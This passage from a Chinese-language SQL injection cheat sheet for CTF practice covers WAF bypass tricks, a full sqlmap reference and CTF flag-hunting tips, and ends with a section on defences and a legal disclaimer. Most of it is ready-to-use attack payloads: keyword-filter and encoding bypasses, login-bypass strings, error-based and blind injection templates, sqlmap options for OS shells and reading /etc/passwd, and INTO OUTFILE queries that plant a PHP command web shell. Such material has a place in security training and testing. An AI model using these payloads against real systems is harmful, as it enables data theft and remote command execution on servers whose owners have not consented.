UNUNIONION SELSELECTECT 1,2,3
-- WAF 删除一次 union select 后得到:UNION SELECT 1,2,3
-- 注释截断
UN/**/ION/**/SE/**/LECT 1,2,3
UN--+%0aION SE--+%0aLECT 1,2,3
-- 等价替换
AND → &&、OR → ||
= → LIKE、= → REGEXP、= → IN(value)
UNION SELECT → UNION ALL SELECT
SLEEP → BENCHMARK
-- 括号绕过
(SELECT(1))
UNION(SELECT(1),(2),(3))
6.4 编码绕过
-- URL 编码
%27 = ' %20 = 空格 %23 = #
UNION%20SELECT%201,2,3-- -
UNION%2520SELECT%25201,2,3-- - (双重 URL 编码)
-- HEX 编码(字符串)
SELECT * FROM users WHERE username=0x61646d696e -- 'admin'
-- HTML 实体(仅在特定场景)
' = '
-- Unicode 编码(部分数据库/框架支持)
\u0027 = '
\u0055NION \u0053ELECT ( U = \u0055, S = \u0053)
-- Base64(部分框架自动解码参数)
id=MSBVTklPTiBTRUxFQ1QgMSwyLDM= (1 UNION SELECT 1,2,3 的Base64)
6.5 等价函数与替换
-- 字符串截取
SUBSTRING() → SUBSTR() → MID() → LEFT() → RIGHT()
SUBSTRING(str,1,1) → LEFT(str,1) → MID(str,1,1)
-- 字符串连接
CONCAT(a,b) → CONCAT_WS(',',a,b) → a||b(SQLite/Oracle)
-- ASCII 转换
ASCII(char) → ORD(char) → HEX(char)
-- 条件判断
IF(a,b,c) → CASE WHEN a THEN b ELSE c END → IFNULL(nullif(a,a),c)
-- 延时
SLEEP(5) → BENCHMARK(50000000,MD5(1))
SLEEP(5) → (SELECT * FROM (SELECT(SLEEP(5)))x)
-- 注释
-- → # → /**/ → /*!*/
-- 逗号绕过(UNION 无逗号)
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c
-- 逗号绕过(substr)
SUBSTR(database() FROM 1 FOR 1) -- 替代 SUBSTR(database(),1,1)
LIMIT 1 OFFSET 0 -- 替代 LIMIT 0,1
6.6 HTTP 层面绕过
-- 修改 Content-Type
POST /login HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=ibm037
-- 部分 WAF 只处理标准 Content-Type,编码转换后 WAF 失效
-- HTTP 分块传输(Chunked Transfer)
POST /login HTTP/1.1
Transfer-Encoding: chunked
-- 分块发送,部分 WAF 不重组分块数据
-- 超长 Header 淹没 WAF(绕过检测长度限制)
-- 添加大量无效 Header,超出 WAF 检测范围
-- 参数污染(HPP)
?id=1&id=2 UNION SELECT 1,2,3
-- 某些框架取第一个/最后一个/所有参数拼接,WAF 只检查第一个
6.7 特定数据库绕过技巧
MySQL 特有绕过
-- 使用条件注释(/*!*/)
/*!UNION*/ /*!SELECT*/ 1,2,3
/*!50000 UNION*/ /*!50000 SELECT*/ 1,2,3
-- /*!50000 xxx */ 表示 MySQL 版本 >= 5.00.00 时执行
-- 负号(-)起始
SELECT -1 UNION SELECT 1,2,3
-- 括号绕过部分关键字过滤
(UNION)(SELECT 1,2,3)
UNION(SELECT(1),(database()),(3))
-- 管道符
1 | 0 UNION SELECT 1,2,3
科学计数法绕过
-- 数字型注入点,用科学计数法表示
?id=1e0 UNION SELECT 1,2,3
?id=1.0 UNION SELECT 1,2,3
?id=\N UNION SELECT 1,2,3 -- \N 在 MySQL 中代表 NULL
6.8 Tamper 脚本使用(SQLMap)
# SQLMap 常用 tamper 脚本
sqlmap -u "http://target.com/?id=1" --tamper=<script1>,<script2>
# 常用 tamper 说明
# space2comment 空格 → /**/
# space2plus 空格 → +
# randomcase 随机大小写
# between > → NOT BETWEEN 0 AND
# charencode URL 编码关键字符
# chardoubleencode 双重 URL 编码
# equaltolike = → LIKE
# greatest > → GREATEST
# ifnull2ifisnull IFNULL → IF(ISNULL
# modsecurityzeroversioned 在注释中添加版本号
# nonrecursivereplacement 双写关键字
# percentage 每个字符前加 %
# unionalltounion UNION ALL SELECT → UNION SELECT
# unmagicquotes 宽字节绕过 GBK
# versionedmorekeywords /*!xxx*/ 包裹关键字
# apostrophemask ' → %EF%BC%87(全角)
# 组合使用示例(绕过常见 WAF)
sqlmap -u "http://target.com/?id=1" \
--tamper=space2comment,randomcase,charencode \
--random-agent \
--delay=1 \
--level=5 \
--risk=3
6.9 常见 WAF 特征与绕过思路
| WAF 产品 | 检测特点 | 常用绕过 |
|---|---|---|
| 阿里云盾 | 关键字检测,正则匹配 | 注释 + 大小写 + 编码 |
| ModSecurity | 规则集检测,多特征 | 分块传输 + 参数污染 |
| Cloudflare | 语义分析,机器学习 | 等价替换 + 极端编码 |
| AWS WAF | 正则 + 规则 | URL 编码层叠 |
| 安全狗 | 关键字匹配 | 内联注释 + 双写 |
七、自动化工具使用
7.1 SQLMap 完整指南
# ========== 基础用法 ==========
# GET 参数注入
sqlmap -u "http://target.com/page?id=1"
# POST 参数注入
sqlmap -u "http://target.com/login" --data "user=admin&pass=123"
# 指定注入参数
sqlmap -u "http://target.com/page?id=1&page=2" -p id
# 使用请求文件(Burp 导出)
sqlmap -r request.txt
# Cookie 注入
sqlmap -u "http://target.com/" --cookie "id=1" -p id
# ========== 探测选项 ==========
# 探测等级(1-5,越高越全面但越慢)
--level=5
# 风险等级(1-3,越高越危险)
--risk=3
# 指定注入技术
--technique=BEUSTQ # B布尔 E报错 U联合 S堆叠 T时间 Q内联查询(全部)
--technique=U # 仅使用 UNION
--technique=BT # 布尔+时间
# 指定数据库类型(加速检测)
--dbms=mysql
--dbms=postgresql
--dbms=mssql
# 指定 UNION 列数(已知时加速)
--union-cols=3
# 指定 UNION 字符
--union-char=null
# ========== 数据提取 ==========
# 获取所有数据库
--dbs
# 获取当前数据库
--current-db
# 获取当前用户
--current-user
# 获取指定数据库的表
-D ctfdb --tables
# 获取指定表的列
-D ctfdb -T users --columns
# 转储数据
-D ctfdb -T users --dump
# 转储所有数据库
--dump-all
# 仅转储指定列
-D ctfdb -T users -C username,password --dump
# 指定行范围
--start=1 --stop=10
# ========== 高级功能 ==========
# 获取操作系统 Shell
--os-shell
# 执行命令
--os-cmd="whoami"
# 获取 SQL Shell
--sql-shell
# 读取文件
--file-read="/etc/passwd"
# 写入文件(需 FILE 权限)
--file-write="shell.php" --file-dest="/var/www/html/shell.php"
# ========== 代理与伪装 ==========
# 使用 HTTP 代理
--proxy="http://127.0.0.1:8080"
# 随机 User-Agent
--random-agent
# 设置延迟(秒)
--delay=1
# 添加自定义头
--headers="X-Custom: value\nX-Forwarded-For: 1.2.3.4"
# 设置 Referer
--referer="http://google.com"
# 超时设置
--timeout=30
# ========== 认证 ==========
# HTTP Basic 认证
--auth-type=basic --auth-cred="user:pass"
# 使用 Session Cookie
--cookie="PHPSESSID=xxxxx"
# ========== 输出 ==========
# 详细模式(-v 0-6)
-v 3
# 保存结果
--output-dir="/tmp/sqlmap_output"
# ========== 常用组合示例 ==========
# 完整 CTF 典型命令
sqlmap -u "http://target.com/?id=1" \
--dbms=mysql \
--technique=BEUST \
--level=3 --risk=2 \
--random-agent \
--tamper=space2comment,randomcase \
--dbs \
-v 2
# 获取 flag 一条龙
sqlmap -u "http://target.com/?id=1" \
-D ctfdb -T flag -C flag_value \
--dump \
--batch # 自动回答所有提示
7.2 手工注入辅助工具
# Hackbar(浏览器插件)
# 快速修改 URL 参数和 POST 数据
# Burp Suite
# Repeater: 手工重放修改请求
# Intruder: 自动化爆破(暴力枚举字符)
# Logger: 记录所有请求
# ghauri - 替代 SQLMap 的现代工具
pip3 install ghauri
ghauri -u "http://target.com/?id=1" --dbs
# BBQSQL - 盲注框架
pip install bbqsql
bbqsql # 交互式配置
# dsss - 简洁 SQL 注入检测脚本
python3 dsss.py -u "http://target.com/?id=1"
八、CTF 实战思路与技巧
8.1 快速判断注入类型
发现参数 →
↓
测试 '、"、`)
↓
有报错信息?
├── Yes → 尝试报错注入(extractvalue/updatexml)
└── No →
↓
布尔测试(AND 1=1 vs AND 1=2)
├── 有页面差异 → 布尔盲注 / 联合注入
│ 尝试 ORDER BY 确认列数 → 尝试 UNION
└── 无页面差异 →
↓
时间测试(AND SLEEP(3))
├── 有延迟 → 时间盲注
└── 无延迟 → 尝试不同语法 / 其他参数
8.2 常见 CTF 特殊场景
过滤了 information_schema
-- MySQL 5.7+ 使用 sys 数据库
SELECT table_name FROM sys.schema_table_statistics;
SELECT * FROM sys.x$ps_schema_table_statistics_io;
-- MySQL 8.0+ 使用 innodb 内置表
SELECT table_name FROM mysql.innodb_table_stats;
-- 使用 join ... using() 猜列名(无需 information_schema)
-- 前提:知道表名
SELECT * FROM users JOIN users AS u USING(id,username,password);
-- 报错:Duplicate column name 'xxx' → 泄露列名
-- 无列名注入(使用子查询别名)
SELECT `3` FROM (SELECT 1,2,3 UNION SELECT * FROM users)a;
-- 第三列(序号3)即为第三个字段的值
过滤了引号
-- HEX 编码字符串
SELECT * FROM users WHERE username=0x61646d696e; -- 'admin'
-- CHAR() 函数
SELECT * FROM users WHERE username=CHAR(97,100,109,105,110);
-- 反引号(仅用于列名/表名,不适合值)
SELECT `username` FROM `users`;
-- 数字强转
SELECT * FROM users WHERE id=1; -- id 为数字时无需引号
过滤了空格
-- 注释符
SELECT/**/username/**/FROM/**/users
-- 括号
SELECT(username)FROM(users)
-- 制表符、换行等
SELECT%09username%0aFROM%0dusers
-- 括号嵌套
(SELECT(username)FROM(users)WHERE(id=1))
过滤了 UNION、SELECT 等关键字
-- 双写(WAF 删除关键字后拼接)
UNUNIONION SESELECTLECT 1,2,3
-- 大小写
UnIoN SeLeCt 1,2,3
-- 内联注释
UN/**/ION SE/**/LECT 1,2,3
-- URL 编码
%55NION %53ELECT 1,2,3
-- U = %55, S = %53
-- 换行
UN%0aION%0aSE%0aLECT
过滤了逗号
-- UNION 无逗号
UNION SELECT * FROM (SELECT 1)a JOIN (SELECT database())b JOIN (SELECT version())c
-- substr 无逗号
SUBSTR(username FROM 1 FOR 1) -- 替代 SUBSTR(username,1,1)
-- limit 无逗号
LIMIT 1 OFFSET 0 -- 替代 LIMIT 0,1
-- case when 替代 if
CASE WHEN (条件) THEN SLEEP(3) ELSE 0 END
字符长度限制
-- 分段读取(每次读取部分)
SUBSTR(database(),1,3)
SUBSTR(database(),4,3)
SUBSTR(database(),7,3)
-- 使用 MID
MID(database(),1,3)
-- 配合 LENGTH 先确定长度
LENGTH(database())
8.3 特殊库/表/列名获取技巧
-- 若知道表名,猜列名(join using 报错法)
SELECT * FROM (SELECT * FROM users a JOIN users b)c;
-- 报错:Duplicate column name 'id'(泄露第一个列名)
SELECT * FROM (SELECT * FROM users a JOIN users b USING(id))c;
-- 报错:Duplicate column name 'username'(泄露第二个列名)
SELECT * FROM (SELECT * FROM users a JOIN users b USING(id,username))c;
-- 继续泄露下一列名
-- 利用别名(无需知道列名,按位置读取)
SELECT f1,f2,f3 FROM (SELECT 1 f1,2 f2,3 f3 UNION SELECT * FROM users)t;
-- f1/f2/f3 对应 users 表第1/2/3列的值
8.4 读取 Flag 的常见路径
-- 常见 flag 表名
flag, Flag, FLAG, flag_table, ctf_flag, secret, answer
-- 常见 flag 列名
flag, Flag, FLAG, value, flag_value, secret, data
-- 一次性扫描所有包含 flag 的表
SELECT concat(table_schema,'.',table_name)
FROM information_schema.tables
WHERE table_name LIKE '%flag%';
-- 扫描所有库中包含 flag 字符的数据
SELECT concat(table_schema,'.',table_name,'.',column_name)
FROM information_schema.columns
WHERE column_name LIKE '%flag%';
8.5 获取 WebShell 到命令执行
-- MySQL 写 WebShell
SELECT '<?php system($_GET["cmd"]);?>'
INTO OUTFILE '/var/www/html/shell.php';
-- 验证路径(读取已知文件)
SELECT load_file('/var/www/html/index.php');
-- 常见 Web 路径
/var/www/html/
/var/www/html/uploads/
/var/www/html/images/
/home/www/web/
/usr/share/nginx/html/
C:/inetpub/wwwroot/
C:/xampp/htdocs/
C:/wamp/www/
-- 通过报错获取 Web 路径
-- 很多错误信息会包含文件路径
九、防御措施
9.1 根本防御:参数化查询
// PHP PDO(推荐)
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->execute([$username, $password]);
// PHP MySQLi
$stmt = $mysqli->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
# Python (psycopg2 / sqlite3)
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
(username, password))
# Python SQLAlchemy ORM(自动参数化)
User.query.filter_by(username=username, password=password).first()
// Java PreparedStatement
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
9.2 输入验证与过滤
// 类型强制转换
$id = (int)$_GET['id']; // 强制整数,根本无法注入
// 白名单验证
$allowed_sort = ['username', 'email', 'created_at'];
$sort = in_array($_GET['sort'], $allowed_sort) ? $_GET['sort'] : 'id';
// 针对必须拼接的场景(如列名/表名),使用白名单
$allowed_tables = ['users', 'articles', 'comments'];
if (!in_array($table, $allowed_tables)) die('Invalid table');
9.3 最小权限原则
-- 为 Web 应用创建最小权限用户
CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strong_password';
GRANT SELECT, INSERT, UPDATE ON webapp_db.* TO 'webapp'@'localhost';
-- 禁止 DROP、CREATE、FILE 等危险权限
REVOKE FILE ON *.* FROM 'webapp'@'localhost';
9.4 错误信息处理
// 生产环境关闭错误显示
error_reporting(0);
ini_set('display_errors', 0);
// 使用自定义错误页面
try {
$stmt = $pdo->prepare($sql);
$stmt->execute($params);
} catch (PDOException $e) {
// 记录到日志,不显示给用户
error_log($e->getMessage());
die("数据库错误,请稍后再试");
}
9.5 WAF 与监控
部署 WAF(ModSecurity、云 WAF 等)
配置 SQL 注入规则(OWASP CRS)
启用数据库审计日志
异常查询告警(如含有 UNION、SLEEP 等的查询)
定期进行安全扫描(SQLMap、AWVS 等)
9.6 防御检查清单
✅ 所有 SQL 查询使用参数化查询或 ORM
✅ 用户输入进行类型验证(整数、枚举等)
✅ 数据库用户使用最小权限
✅ 关闭数据库错误信息回显
✅ 生产环境关闭 FILE 权限和 xp_cmdshell
✅ 部署 WAF 并定期更新规则
✅ 定期安全扫描与渗透测试
✅ 数据库密码强度与定期更换
✅ 启用数据库操作审计日志
✅ 对列名/表名动态拼接使用白名单
快速参考手册
注入类型选择决策树
页面有数据回显?
├── 是 → UNION 注入 → ORDER BY 确定列数 → UNION SELECT
└── 否 → 有报错信息?
├── 是 → 报错注入 → extractvalue / updatexml / floor
└── 否 → 布尔差异?
├── 是 → 布尔盲注 → 逐字符二分法
└── 否 → 时间盲注 → IF(cond,SLEEP(3),0)
(仍无效 → 带外注入 / 换注入点)
常用 Payload 速查
-- 万能密码
' OR '1'='1
' OR 1=1--
admin'--
' OR 'x'='x
-- 列数探测
ORDER BY 1-- 到 ORDER BY N-- 二分法
-- 数据库指纹
@@version / version() / @@global.version_compile_os
-- 联合注入模板
' UNION SELECT null,null,...,null-- -
' UNION SELECT 1,database(),version()-- -
-- 报错模板
' AND extractvalue(1,concat(0x7e,(SELECT database())))-- -
' AND updatexml(1,concat(0x7e,(SELECT database())),1)-- -
-- 盲注模板
' AND ascii(substr(database(),1,1))>64-- -
' AND IF(ascii(substr(database(),1,1))=99,SLEEP(3),0)-- -
-- 写 Shell
' UNION SELECT 1,'<?php system($_GET["cmd"]);?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
⚠️ 免责声明:本文档仅供 CTF 竞赛学习、安全研究及授权渗透测试使用。SQL 注入攻击未经授权属于违法行为,请在合法合规的环境中学习与实践。